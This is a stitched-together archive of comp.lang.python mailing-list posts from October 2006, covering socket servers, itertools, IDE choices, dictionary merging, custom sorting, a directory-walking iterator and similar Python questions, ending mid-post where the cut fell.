> > server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > server.bind(('', 2727)) > server.listen(2) > > def cleanup(signal, frame): > print "die now" > worker_thread.join(1) > server.shutdown(socket.SHUT_RDWR) > sys.exit(0) > signal.signal(signal.SIGINT, cleanup) > > while True: > channel, details = server.accept() > stats = { 'key': "value" } > s = simplejson.dumps(stats) > channel.send(s) > channel.close() > # end > > The way I can think of right now is to kill the script using Ctrl+C. > Hence, the signal handler in the code. However, the interpreter > complains: > ---start--- > Traceback (most recent call last): > File "ex_server.py", line 35, in ? > channel, details = server.accept() > File "/usr/lib/python2.4/socket.py", line 169, in accept > sock, addr = self._sock.accept() > File "ex_server.py", line 30, in cleanup > server.shutdown(SHUT_RDWR) > NameError: global name 'SHUT_RDWR' is not defined > ---end--- > > Can anybody suggest a better way to do this? > You haven't copied the code you are actually running. The program above may or may not work, but compare the server.shutdown line in the traceback with the server.shutdown line in the program and you'll see they aren't the same. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From http Tue Oct 10 13:27:55 2006 From: http (Paul Rubin) Date: 10 Oct 2006 10:27:55 -0700 Subject: operator overloading + - / * = etc... References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> Message-ID: <7xwt78ullw.fsf@ruckus.brouhaha.com> Piet van Oostrum writes: > The official Python documentation (language reference manual) talks a lot > about variables. So it seems silly to say that Python doesn't have > variables. The symbols on the left side of = signs are called variables even in Haskell, where they don't "vary" (you can't change the value of a variable once you have set it). From ptmcg at austin.rr._bogus_.com Wed Oct 4 09:02:06 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Wed, 04 Oct 2006 13:02:06 GMT Subject: replacing all 'rng's in a buffer with consecutive r[1], r[2]'s References: Message-ID: "m g william" wrote in message news:mailman.1253.1159962380.10491.python-list at python.org... > #now replace all 'rng's with consecutive streams > #=============================================== > def static_num(): > ''' this is a generator function that avoids globals > yield differentiates fn as generator fn which freezes > ''' > x = 0 > while True: > x += 1 > yield str(x) > > static = static_num().next Also, check out itertools.count (one of many tools from the excellent itertools module), as in: static - itertools.count().next - no need to roll this function for yourself. You still need to call it for each substitution, though, as described elsewhere. -- Paul From samnemo at gmail.com Mon Oct 23 16:28:46 2006 From: samnemo at gmail.com (samn) Date: 23 Oct 2006 13:28:46 -0700 Subject: python2.5 importerror on md5 In-Reply-To: References: <1161630406.102958.22270@i3g2000cwc.googlegroups.com> <1161631938.267555.303790@h48g2000cwc.googlegroups.com> Message-ID: <1161635326.472236.12070@i42g2000cwa.googlegroups.com> i think the problem is different versions of openssl on the two machines , 0.9.7a and 0.9.8b From paul at boddie.org.uk Wed Oct 11 06:35:45 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 11 Oct 2006 03:35:45 -0700 Subject: Python component model References: <452b7aae$0$306$426a74cc@news.free.fr> Message-ID: <1160562945.079609.98640@m7g2000cwm.googlegroups.com> Peter Maas wrote: > Bruno Desthuilliers schrieb: > > Marc 'BlackJack' Rintsch wrote: > > (snip) > > Python itself is a RAD tool. > > > > +1 QOTW > > No, please stop self-assuring, self-pleasing QOTWs! +1 QOTW! ;-) [Java, Ruby, JRuby, the hype] > To prevent this to happen parts of the Python community should have a > more critical attitude to the language. Too often I hear the same > mantras being repeated over and over again (GIL, self, IDE etc.). People who bring up stuff about self and indentation are just showing their ignorance, in my opinion, since Python isn't the first language to use self in such a way, and many C++ and Java programs use this pervasively in order to make attribute scope explicit, whereas the indentation matter is only troublesome with bad editing practices. I don't think the community should spend any more time on these criticisms. However, the GIL and issues of tools and IDEs should be considered in a more sophisticated way. I'm not advocating the removal of the GIL, but there needs to be a better story for people wanting to use more than one core or CPU within a single program on a multicore/multiprocessor system. My contribution in that field has been the pprocess module [1] which lets you play in a sort of multithreaded environment, although you're actually using multiple processes whose globals are only shared in a read-only sense, and the way forward may be to make this available to Windows users by adding an os.fork implementation for them to the standard library, as I suggested previously [2]. Meanwhile, whilst not an IDE advocate myself, there really does need to be further improvements in the analysis of Python source code so that people can build improved tools to check Python programs for obvious "compile-time" errors and to inspect the behaviour of large amounts of code. One reads occasionally on the python-dev or python-3000 mailing lists that some proposed change or other may or may not have an impact on "real world" systems such as the standard library, but that no-one can really say: we need to move beyond the "Python is just so dynamic" meme and develop tools like PyLint and PyChecker much further. > I don't say these mantras are all wrong but perhaps it would be good to > remove the GIL just to stop people talking about Python's lack of > multi-threading or polish Python's class syntax to stop people talking > about Python's OO being bolted on etc. Programmers often choose their > languages by very silly reasoning (silliest being the indentation issue) > and maybe we should take the silliness into account instead of laughing > about those silly folks. This kind of stuff can be tackled by providing better introductory, educational or promotional material, with the latter especially important to stop the uninformed "rubbishing" that advocates of certain other languages seem particularly inclined to indulge in. > I for my part would be happy to see a Delphi-like RAD tool for Python, > a reference implementation for web programming as part of the standard > library, Jython 2.5, Python for PHP or whatever attracts new programmers. As I noted in the "Python component model" thread [3], tools like Qt Designer seem to go a long way towards providing RAD-like solutions, even though they aren't "pure Python". Meanwhile, the Web programming standardisation scene remains stagnant. Sure, you can pretend that WSGI middleware is the future, and even I can see that layering components is an acceptable way of building Web applications, but I'm not using WSGI to do that because the whole exercise requires multiple trips to the Web technology supermarket (once for a server, again for a server adapter, again for stuff to make the WSGI API bearable, and so on, repeat when you find one or more components to be immature) and I doubt that people shopping around for an easy way to write applications are especially convinced either. But I largely agree with what you've written, and the cause of the symptoms is the excessive focus on changing the language rather than improving the libraries, the tools and the peripheral elements of the development experience. If you think the standard library is incoherent, jump into the proposal I've been writing [4] to suggest improvements and to help out, because this kind of work isn't going to happen otherwise, unfortunately. Returning to the lack of Python books, it's rather telling that a review of "Python in a Nutshell" that just caught my eye says the following: "Considering that the Zen of Python is barely being followed as the core language has feature upon feature heaped upon it, a book like this helps poor programmers simply wanting to use the language keep up with the changes." I know that certain other languages aren't exactly unchanging (and may possibly undergo further upheaval), and that publishers like having more books to sell on the very same topic, but after a while both authors and readers become tired of having to respectively write/update or buy new books because of relentless and seemingly frivolous changes to a language or technology. Paul [1] http://www.python.org/pypi/parallel [2] http://groups.google.com/group/comp.lang.python/msg/c6d8f8aa2cfb8562 [3] http://groups.google.com/group/comp.lang.python/msg/f678b500493a38f1 [4] http://wiki.python.org/moin/CodingProjectIdeas/StandardLibrary/RestructuredStandardLibrary From __peter__ at web.de Wed Oct 4 11:59:33 2006 From: __peter__ at web.de (Peter Otten) Date: Wed, 04 Oct 2006 17:59:33 +0200 Subject: A Universe Set References: Message-ID: Jean-Paul Calderone wrote: > On Wed, 04 Oct 2006 11:00:28 -0400, Leif K-Brooks > wrote: >>Jorgen Grahn wrote: >>> - infinite xrange()s >> >>itertools.count()? > > Not quite: > > >>> import sys, itertools > >>> c = itertools.count(sys.maxint) > >>> c.next() > 2147483647 > >>> c.next() > -2147483648 > >>> > > Jean-Paul >>> import sys >>> from itertools import count >>> c = count(sys.maxint) >>> c.next() 2147483647 >>> c.next() 2147483648L sys.maxint and then some cheers on Python 2.5 :-) Peter From danb_83 at yahoo.com Thu Oct 5 23:08:48 2006 From: danb_83 at yahoo.com (Dan Bishop) Date: 5 Oct 2006 20:08:48 -0700 Subject: printing variables In-Reply-To: <1160102860.587127.240080@h48g2000cwc.googlegroups.com> References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com> Message-ID: <1160104128.833442.98470@b28g2000cwb.googlegroups.com> On Oct 5, 9:47 pm, s99999999s2... at yahoo.com wrote: > hi > say i have variables like these > > var1 = "blah" > var2 = "blahblah" > var3 = "blahblahblah" > var4 = "...." > var5 = "...".. > > bcos all the variable names start with "var", is there a way to > conveniently print those variables out... > eg print var* ?? > i don't want to do : > > print var1, var2, var3, var4 ......etc... def print_vars(var_dict, prefix=''): var_names = sorted(name for name in var_dict if name.startswith(prefix)) for name in var_names: print var_dict[name], print def example(): var1 = 'blah' var2 = 'blahblah' var3 = 'spam' var4 = 'eggs' ignored_var = 'foo' print_vars(locals(), 'var') From neoedmund at gmail.com Mon Oct 16 05:33:59 2006 From: neoedmund at gmail.com (neoedmund) Date: 16 Oct 2006 02:33:59 -0700 Subject: python's OOP question In-Reply-To: <45334fa9$0$5656$426a74cc@news.free.fr> References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> <1160969393.803021.274070@e3g2000cwe.googlegroups.com> <45334fa9$0$5656$426a74cc@news.free.fr> Message-ID: <1160991239.541020.115320@m7g2000cwm.googlegroups.com> Bruno Desthuilliers wrote: > neoedmund wrote: > (*PLEASE* stop top-posting - corrected) > > > > Ben Finney wrote: > >> [Please don't top-post above the text to which you're replying.] > >> > >> "neoedmund" writes: > >> > >>> I'm trying to achieve a higher level of "reusability". Maybe it > >>> cannot be done in python? Can anybody help me? > >> What, specifically, are you trying to achieve? What problem needs > >> solving? > > > python use multiple inheritance. > > but "inheritance" means you must inherite all methods from super type. > > now i just need "some" methods from one type and "some" methods from > > other types, to build the new type. > > Do you think this way is more flexible than tranditional inheritance? > > While dynamically adding attributes (and methods - which are attributes > too) is not a problem, I'd second Gregor's anwser : it might be better > to use composition/delegation here. > Could you show some code to help me know how composition/delegation can be done here? Thanks. From jiri.zahradil at gmail.com Mon Oct 30 07:20:04 2006 From: jiri.zahradil at gmail.com (jiri.zahradil at gmail.com) Date: 30 Oct 2006 04:20:04 -0800 Subject: CHM help file for Python 2.5 Message-ID: <1162210804.269452.288100@i42g2000cwa.googlegroups.com> Hello, For Python 2.4, documentation was available in .chm format. For new Python 2.5, I am missing this format (download page: http://docs.python.org/download.html). Can anyone point me to new location of this version of manual, or tell me why this format is no longer supported ... ? thanks -- Jiri Zahradil From ggmailalias-cgag at yahoo.com.ar Sat Oct 28 19:29:56 2006 From: ggmailalias-cgag at yahoo.com.ar (ggmailalias-cgag at yahoo.com.ar) Date: 28 Oct 2006 16:29:56 -0700 Subject: What is the cleanest way to for a module to access objects from the script that imports it? In-Reply-To: References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com> Message-ID: <1162078196.733275.279500@f16g2000cwb.googlegroups.com> robert ha escrito: > noamsml at gmail.com wrote: > > Hi, > > > > I am new to python and am currently writing my first application. One > > of the problems I quickly ran into, however, is that python's imports > > are very different from php/C++ includes in the sense that they > > completely wrap the imported script in a module object. One of the > > problems with this was that a plugin system that I am making requires > > use of objects, classes and the such from the original script. Thus, on > > one hand, I am hesitant to use execfile(), since I *do* want to wrap > > the plugin up, but on the other hand, I want the plugin to be able to > > use functions from the original script. Any ideas? > > > > you can import __main__ in your module: import __main__; __main__.app_xfunc(y) > > But for most cases I'd say your "problem" is an indication of weak design (thanks to Pythons clear module tech). > > Maybe: > > * if the funcs are tools, put them in an extra module > > * if its about app-global parameters(tools), make a module "myglob" or so > > * if the funcs have app-context, hand over/set them as "callback" functions or iterators like .. > > def app_xfunc(par):pass > mody.set_xhandler(app_xfunc) > mody.yfunc(a,b,..., cbProgress=app_xfunc) > def app_xstepper(): > yield next > mody.yfunc2(a,b,..., step=app_xstepper) > ... > > > * if you have 2 moduls on equal dependency level and each needs the other (sometimes) - thus you don't want to have one big module, then cross import them .. > > #modx > import mody > def fx(): > mody.doy() > #mody > import modx > def fy(): > modx.dox() > > > Python allows everything most easy for that kind of problems of all langs I know of. Mainly the fact that a module is a real object in Python provides tremendous flexibility and self-similarity of techniques. Ruby for example is weired - even really bad - in this. > > -robert From skip at pobox.com Tue Oct 17 09:11:27 2006 From: skip at pobox.com (skip at pobox.com) Date: Tue, 17 Oct 2006 08:11:27 -0500 Subject: Newbie: datetime conversion question In-Reply-To: <1161089016.309925.94840@b28g2000cwb.googlegroups.com> References: <1161089016.309925.94840@b28g2000cwb.googlegroups.com> Message-ID: <17716.54911.718790.57060@montanaro.dyndns.org> kevin> I'm trying to convert some code from Ruby to Python, kevin> specifically.. kevin> timestamp = "%08x" % Time.now.to_i kevin> Make a hex version of the current timestamp. Any ideas how best kevin> to do this in python gratefully received.. Try import time timestamp = hex(int(time.time())) Skip From fredrik at pythonware.com Tue Oct 17 12:28:20 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 18:28:20 +0200 Subject: Tertiary Operation In-Reply-To: References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> <1161093117.541719.320210@i3g2000cwc.googlegroups.com> Message-ID: Roy Smith wrote: > Why not just: > > if x is None: > result = str(x) > else: > result = "" > > It's a couple more lines of code, but it's obvious what it means. and if you're doing this a few times, putting it in a function is even better. def tostring(obj): if obj is None: return "" return str(obj) print tostring(key) print tostring(foo), tostring(bar) file.write(tostring(record[1])) this also makes it easier to tweak things once you realize that not everything should be passed through str(): def tostring(obj): if obj is None: return "" if isinstance(obj, basestring): return obj return str(obj) From martin at v.loewis.de Mon Oct 2 12:43:06 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Mon, 02 Oct 2006 18:43:06 +0200 Subject: commands.getstatusoutput result is not command line exit value!!! In-Reply-To: References: <452125F8.8070106@googlemail.com> <45213245.3000808@googlemail.com> <452133F1.5050401@holdenweb.com> Message-ID: <4521419A.6090202@v.loewis.de> Hari Sekhon schrieb: > I'm sorry, this may seem dense to you but I have to ask. What on earth > are you talking about? You may not be dense, but you are certainly fairly aggressive in your postings. If you just want to complain, go ahead. If you want actual help, you should reconsider your tone. > Why is it shifted 8 bits to the left? As Steve says, that what the system returns (from popen(3)), in this case. It's the true exit status, not just the exit code. > Why is there bitshifting at all? Read some Unix book. > Why doesn't commands give the same exit value as os.system() and the > unix cli? Read some Unix book. > When you choose to exit a program you give it a return value to exit > with, so why would this change, I exit with the number 1 then expect > that number to be the exit code, right? Read some Unix book. Hint: how do you know whether the program was killed, and didn't actually invoke exit(3)? > Where do these higher numbers > come into the equation and why? Read some Unix book. Hint: Read about WIFEXITED, WIFSIGNALED, and WEXITSTATUS. > Please assume that I am not a mind reader and require explanation before > I can understand. You are apparently not a documentation reader, as well. Nobody owes you an explanation. Regards, Martin From steve at holdenweb.com Fri Oct 13 07:44:34 2006 From: steve at holdenweb.com (Steve Holden) Date: Fri, 13 Oct 2006 12:44:34 +0100 Subject: Python Best Practice References In-Reply-To: <1xIXg.22340$Ij.9008@newssvr14.news.prodigy.com> References: <1xIXg.22340$Ij.9008@newssvr14.news.prodigy.com> Message-ID: James Stroud wrote: > Wijaya Edward wrote: > >>Can anybody suggest any references (links, books, etc)about this? >>I'm thinking of something similar with D.Conway's "Perl Best Practice". >> >>-- Edward WIJAYA >>SINGAPORE >> >>------------ Institute For Infocomm Research - Disclaimer ------------- >>This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. >>-------------------------------------------------------- > > > By all means, please start here: > > http://www.python.org/doc/essays/styleguide.html > Nowadays I suspect PEP 8, derived from that essay, would be considered more authoritative. http://www.python.org/dev/peps/pep-0008/ regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From Hakusa at gmail.com Thu Oct 26 19:59:06 2006 From: Hakusa at gmail.com (Hakusa at gmail.com) Date: 26 Oct 2006 16:59:06 -0700 Subject: What's the best IDE? In-Reply-To: References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> <454004a9$0$19602$88260bb3@free.teranews.com> <1161828498.791044.144040@f16g2000cwb.googlegroups.com> <7g40h.165$1n3.4282@news.tufts.edu> Message-ID: <1161907146.900636.219820@k70g2000cwa.googlegroups.com> What I mean was that it was late and I needed sleep. I'll work with Vim, but it's not like I can spend a week learning it anyway, I don't have that much time AND time to actualy program. And thanks all to have posted suggestions and comments thus far. From johnjsal at NOSPAMgmail.com Fri Oct 13 15:00:14 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 13 Oct 2006 19:00:14 GMT Subject: wing ide vs. komodo? Message-ID: <2nRXg.108$1n3.2866@news.tufts.edu> Just curious what users of the two big commercial IDEs think of them compared to one another (if you've used both). Wing IDE looks a lot nicer and fuller featured in the screenshots, but a glance at the feature list shows that the "personal" version doesn't even support code folding! That's a little ridiculous and makes me have doubts about it. Komodo, on the other hand, seems to have more of the features that the personal version of Wing IDE lacks (call tips, class browser, etc.) but the look of it seems very sparse for some reason. From hanumizzle at gmail.com Sun Oct 8 01:38:22 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Sun, 8 Oct 2006 01:38:22 -0400 Subject: Raw beginner.... In-Reply-To: <45288B4A.90702@gmail.com> References: <45288B4A.90702@gmail.com> Message-ID: <463ff4860610072238v791e6356kc1ad68fbca4fa78f@mail.gmail.com> On 10/8/06, Colin Lehmann wrote: > I am new to Python although I have been using Delphi since version one, > I have been employed as a C and C++ programmer so when I went to Linux > (Ubuntu 5.10) I thought Python looked pretty good. > I downloaded and installed 'Eric Python IDE' which seems OK, any > alternatives suggested will be looked at.... Myself, I just use GNU Emacs. But this is perhaps an acquired taste. > My current problem is I am trying to compile a package I downloaded, it > is a PodCaster called 'CastPodder'!!), I looked at the source file and > it tried to import something called 'wxversion' and couldn't find it. Please copy and paste the exact error messages into a reply. > I searched the net and found a package called 'Python wxversion???.Deb'. > Downloaded it and unpacked it but the IDE still can't find it! Have you installed the base wxpython package as well? Furthermore, are you using Ubuntu package? I don't know Debian variants too well, but it seems best to go with the official release. http://packages.ubuntu.com/cgi-bin/search_packages.pl?keywords=wx&searchon=names&subword=1&version=dapper&release=all > My question is : Where should I put the package (download it to..) so > when I unpack it the IDE can find it? > I looked around and found a reference to PYTHONPATH which is supposed to > tell Python where everything is but I simply cannot find it anywhere. I > found sys.path but I don't think that is what I want.... sys.path and PYTHONPATH do configure the location of Python libraries for special purposes. sys.path is actually a list of all standard locations for libraries built-in to Python at compile time as well as nonstandard locations given in PYTHONPATH or through command line arguments. You can even add to sys.path dynamically I think. But wxpython from Debian/Ubuntu should install to a standard location. -- Theerasak From clarence1126 at gmail.com Wed Oct 25 18:28:44 2006 From: clarence1126 at gmail.com (Clarence) Date: 25 Oct 2006 15:28:44 -0700 Subject: Tortoise, Hare, Hell, None Message-ID: <1161815324.165332.79730@i3g2000cwc.googlegroups.com> Five and a half years ago, Tim Peters (glory be to his name) made the following statement: > In that respect, None is unique among non-keyword names, and for that reason > alone it should be a keyword instead of a global. I expect that will happen > someday, too. But it's a race between that and hell freezing over . We now know who won. From sanzhiyan at gmail.com Mon Oct 16 15:02:49 2006 From: sanzhiyan at gmail.com (Saizan) Date: 16 Oct 2006 12:02:49 -0700 Subject: Need a strange sort method... In-Reply-To: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> Message-ID: <1161025369.299821.40010@i3g2000cwc.googlegroups.com> SpreadTooThin wrote: > I have a list and I need to do a custom sort on it... > > for example: > a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order > > def cmp(i,j): #to be defined in this thread. > > a.sort(cmp) > > print a > [1,4,7,10, 2,5,8, 3,6,9] > > So withouth making this into an IQ test. > Its more like > 1 4 7 10 > 2 5 8 > 3 6 9 > > Read that top to bottom from column 1 to column 4. > When you get to the bottom of a column move to the next column. > Get it? It's a little vague, but i'm supposing that if you have an 11 in a the order will be: [1,4,7,10, 2,5,8,11, 3, 6,9] If this holds then your order is based on x%3. You place first all x for which x%3 == 1, then x%3 == 2, and last x%3 == 0. And among these three group you use "natural" order. so: def yourcmp(i,j): ri = i%3 rj = j%3 if ri == rj: return i.__cmp__(j) elif ri == 0: return 1 elif rj == 0: return -1 else: return ri.__cmp__(rj) This works with your example, and with my assumption, feel free to "optimize" the if/elif block. However you shuold pay attention to the 0 behavior. a = range(11) a.sort(yourcmp) print a [1, 4, 7, 10, 2, 5, 8, 0, 3, 6, 9] From rrr at ronadam.com Sun Oct 22 14:31:04 2006 From: rrr at ronadam.com (Ron Adam) Date: Sun, 22 Oct 2006 13:31:04 -0500 Subject: PSF Infrastructure has chosen Roundup as the issue tracker for Python development In-Reply-To: <1161535156.311165.243450@i3g2000cwc.googlegroups.com> References: <1161535156.311165.243450@i3g2000cwc.googlegroups.com> Message-ID: <9RO_g.37579$rg1.12857@dukeread01> Kay Schluehr wrote: > Anna Ravenscroft wrote: > >> Interestingly enough, the quote of the day from Google on this email was: >> >> Never doubt that a small group of thoughtful, committed citizens can >> change the world; indeed, it's the only thing that ever has. >> Margaret Mead > > Commitment. Some individuals do the actual changes but others have to > commit to make these changes effective. I've no indication in human > history that groups are innovative or that they produce anything > compelling new. Sometimes they support ventilation or being busy with > "conservative innovation" or other oxymoronic activities. They serve a > critical function but are most of the time uncritical to themselves and > critical to everything and everyone else who is not using their own > code(s). Identifying the enemy is still the prime function of the > political and politics is all about groups. In this simple social > scheme the "hero" indicates the border. The hero acts outside of the > order of the group/society but the society uses the hero to indicate > its own interior in some kind of hegelian twist: the hero is the > otherness defining the self. The hero is the radical other supporting > the groups identify. At best the hero becomes the prince/souvereign of > the group and the group identifies itself as its knights. So the whole > truth about "changing the world" might be just slightly more complex. Committees often do fit this description. Of course, this is a subject that is very dependent on viewpoints. The world changes. Sometimes those changes are the result of certain events where groups of people were present. Sometimes individuals in the group had a significant effect on the outcome of those events. Sometimes the individuals were committed to a common purpose. Sometimes they were aided by sharing information and effort to achieve that purpose. Sometimes the outcome was one that is very unlikely or impossible for a single individual to have produced. It is this last point that is important. Sometimes groups are formed with the desire of reproducing this last point. Sometimes they succeed. There is also the view point of informal groups of individuals working separately but having a significant combined effect. This is probably the more common situation. But not as common as the viewpoint you've stated above unfortunately. Cheers, Ron > Never thought having a small philosophical conversion with Margaret > Mead beyond time and space. So many thanks to great Google and its > devotees. > > Kay From fredrik at pythonware.com Thu Oct 26 02:48:51 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 08:48:51 +0200 Subject: basic questions on cmp, < and sort In-Reply-To: References: Message-ID: Sch?le Daniel wrote: > first question > > In [117]: cmp("ABC",['A','B','C']) > Out[117]: 1 > > against what part of the list is the string "ABC" compared? http://docs.python.org/lib/comparisons.html "Objects of different types, except different numeric types and different string types, never compare equal; such objects are ordered consistently but arbitrarily (so that sorting a hetero- geneous array yields a consistent result)" > class X does not implement < and cmp > what is this comparision is based on? "objects of the same types that don't support proper comparison are ordered by their address" > third question > > sort([[1,2,3],["ABC"],['Z','A'], X(), 4) > > how does python handle heterogenous items in the list > in this case? "Objects of different types, except different numeric types and different string types, never compare equal; such objects are ordered consistently but arbitrarily (so that sorting a hetero- geneous array yields a consistent result)" > first I assumed no, first you assumed that this wasn't documented. From grante at visi.com Thu Oct 26 21:46:43 2006 From: grante at visi.com (Grant Edwards) Date: Fri, 27 Oct 2006 01:46:43 -0000 Subject: Insert Content of a File into a Variable References: Message-ID: <12k2p83kuo28ef7@corp.supernews.com> On 2006-10-27, Wijaya Edward wrote: > How can we slurp all content of a single file > into one variable? http://docs.python.org/tut/node9.html#SECTION009200000000000000000 I suggest you read the rest of the tutorial as well. -- Grant Edwards grante Yow! I want EARS! I at want two ROUND BLACK visi.com EARS to make me feel warm 'n secure!! From rurpy at yahoo.com Sun Oct 15 11:26:40 2006 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: 15 Oct 2006 08:26:40 -0700 Subject: OT: What's up with the starship? In-Reply-To: References: Message-ID: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> T. Bryan wrote: > Thomas Heller wrote: > > > I cannot connect to starship.python.net: neither http, nor can I login > > interactively with ssl (and the host key seems to have changed as well). > > > > Does anyone know more? > > starship.python.net was compromised. It looked like a rootkit may have been > installed. The volunteer admins are in the process of reinstalling the OS > and rebuilding the system. That process will probably take a few days at > least. Does anyone know more? What about the integrity of the python packages hosted there? When was the site compromised? I just installed the python 2.5 pywin module last week. Should I be concerned? Is this related to the Python security problem recently announced? From python at hope.cz Wed Oct 18 12:13:43 2006 From: python at hope.cz (Lad) Date: 18 Oct 2006 09:13:43 -0700 Subject: Dictionaries In-Reply-To: References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> Message-ID: <1161188023.121408.194870@m7g2000cwm.googlegroups.com> Tim Chase wrote: > > How can I add two dictionaries into one? > > E.g. > > a={'a:1} > > b={'b':2} > > > > I need > > > > the result {'a':1,'b':2}. > > >>> a.update(b) > >>> a > {'a':1,'b':2} > > -tkc Thank you ALL for help. However It does not work as I would need. Let's suppose I have a={'c':1,'d':2} b={'c':2} but a.update(b) will make {'c': 2, 'd': 2} and I would need {'c': 3, 'd': 2} (because `c` is 1 in `a` dictionary and `c` is 2 in `b` dictionary, so 1+2=3) How can be done that? Thank you for the reply L From hanumizzle at gmail.com Mon Oct 16 23:59:25 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Mon, 16 Oct 2006 23:59:25 -0400 Subject: wing ide vs. komodo? In-Reply-To: <1160784476.741444.215490@f16g2000cwb.googlegroups.com> References: <2nRXg.108$1n3.2866@news.tufts.edu> <1160784476.741444.215490@f16g2000cwb.googlegroups.com> Message-ID: <463ff4860610162059i1c15ee83h8ff6f3976ea12cdd@mail.gmail.com> On 13 Oct 2006 17:07:56 -0700, Sandra-24 wrote: > John Salerno wrote: > > Just curious what users of the two big commercial IDEs think of them > > compared to one another (if you've used both). > > > > Wing IDE looks a lot nicer and fuller featured in the screenshots, but a > > glance at the feature list shows that the "personal" version doesn't > > even support code folding! That's a little ridiculous and makes me have > > doubts about it. > > Well I don't know about the personal edition, but I've used Komodo and > Wing, and I must say that I chose Wing in the end because it's debugger > is so much more robust than komodo. I tried remote debugging mod_python > using komodo, and it just choked. I spent a week trying to get it to > work. Wing, on the other hand, just worked. I have only the highest > praise for the Wing IDE Debugger, once you get to know it, it's so much > more powerful than Komodo's. The time saved over Komodo was well worth > the money for the professional edition. Well, the beauty of Python is that even seasoned programmers have told me that they've only used pdb several times /in their lives/. -- Theerasak From bborcic at gmail.com Sat Oct 21 09:42:23 2006 From: bborcic at gmail.com (Boris Borcic) Date: Sat, 21 Oct 2006 15:42:23 +0200 Subject: Is x.f() <==>MyClass.f(x) a kind of algebraic structure? In-Reply-To: <1161424930.151657.18530@m7g2000cwm.googlegroups.com> References: <1161424930.151657.18530@m7g2000cwm.googlegroups.com> Message-ID: <453a23ec$1_7@news.bluewin.ch> steve wrote: > What can we think that? When much stretch definitions From carsten at uniqsys.com Sun Oct 1 10:41:10 2006 From: carsten at uniqsys.com (Carsten Haese) Date: Sun, 1 Oct 2006 10:41:10 -0400 Subject: [ANN] InformixDB-2.3 released Message-ID: <20061001143722.M33987@uniqsys.com> I am pleased to announce a new release of InformixDB, the DB-API 2.0 module for connecting to IBM Informix database engines. Changes since version 2.2: - Allow parameter list for executemany() to be arbitrary iterable objects. - .prepare() method and .command attribute for explicitly prepared statements - Python 2.5 compatibility - Bug fixes: * Rare crashes caused by missing error check in DESCRIBE step. * Inconsistent UDT input binding caused SQLCODE -1820 in bulk insert (executemany) if UDT contents went back and forth across 32K size boundary or between null and non-null. * EXECUTE PROCEDURE erroneously attempted to open a results cursor for procedures that don't return results. * Date columns were read incorrectly on 64 bit platforms due to mixup of int4 versus long. Downloads and info at http://informixdb.sourceforge.net Best regards, Carsten Haese From __peter__ at web.de Tue Oct 31 06:53:20 2006 From: __peter__ at web.de (Peter Otten) Date: Tue, 31 Oct 2006 12:53:20 +0100 Subject: Help me understand this iterator References: <1162294568.168728.178270@m73g2000cwd.googlegroups.com> Message-ID: LaundroMat wrote: > Hi, > > I've found this script over at effbot > (http://effbot.org/librarybook/os-path.htm), and I can't get my head > around its inner workings. Here's the script: > > import os > > class DirectoryWalker: > # a forward iterator that traverses a directory tree > > def __init__(self, directory): > self.stack = [directory] > self.files = [] > self.index = 0 > > def __getitem__(self, index): > while 1: > try: > file = self.files[self.index] > self.index = self.index + 1 > except IndexError: > # pop next directory from stack > self.directory = self.stack.pop() > self.files = os.listdir(self.directory) > self.index = 0 > else: > # got a filename > fullname = os.path.join(self.directory, file) > if os.path.isdir(fullname) and not > os.path.islink(fullname): > self.stack.append(fullname) > return fullname > > for file in DirectoryWalker("."): > print file > > Now, if I look at this script step by step, I don't understand: > - what is being iterated over (what is being called by "file in > DirectoryWalker()"?); > - where it gets the "index" value from; > - where the "while 1:"-loop is quitted. With dw = DirectoryWalker(".") the for loop is equivalent to index = 0 # internal variable, not visible from Python while True: try: file = dw[index] # invokes dw.__getitem__(index) except IndexError: break print file This is an old way of iterating over a sequence which is only used when the iterator-based approach dwi = iter(dw) # invokes dw.__iter__() while True: try: file = dwi.next() except StopIteration: break print file fails. Peter From fredrik at pythonware.com Thu Oct 12 03:56:07 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 12 Oct 2006 09:56:07 +0200 Subject: Python component model References: <452b7aae$0$306$426a74cc@news.free.fr> <1160618190.314729.236250@c28g2000cwb.googlegroups.com> Message-ID: Erik Max Francis wrote: >> http://dabodev.com >> http://case.lazaridis.com/wiki/DaboAudit > > Who. Cares. What. You. Think? his mom? From eur.van.andel at gmail.com Wed Oct 11 10:38:16 2006 From: eur.van.andel at gmail.com (eur.van.andel at gmail.com) Date: 11 Oct 2006 07:38:16 -0700 Subject: hundreds of seconds? Message-ID: <1160577496.366622.310080@i3g2000cwc.googlegroups.com> Hi all How can I access partial seconds on the system clock? I measure air speed and water flow in a heat-exchanger test stand and count pulses from both water meter and air speed meter. I divide the amount of these counts over a certain 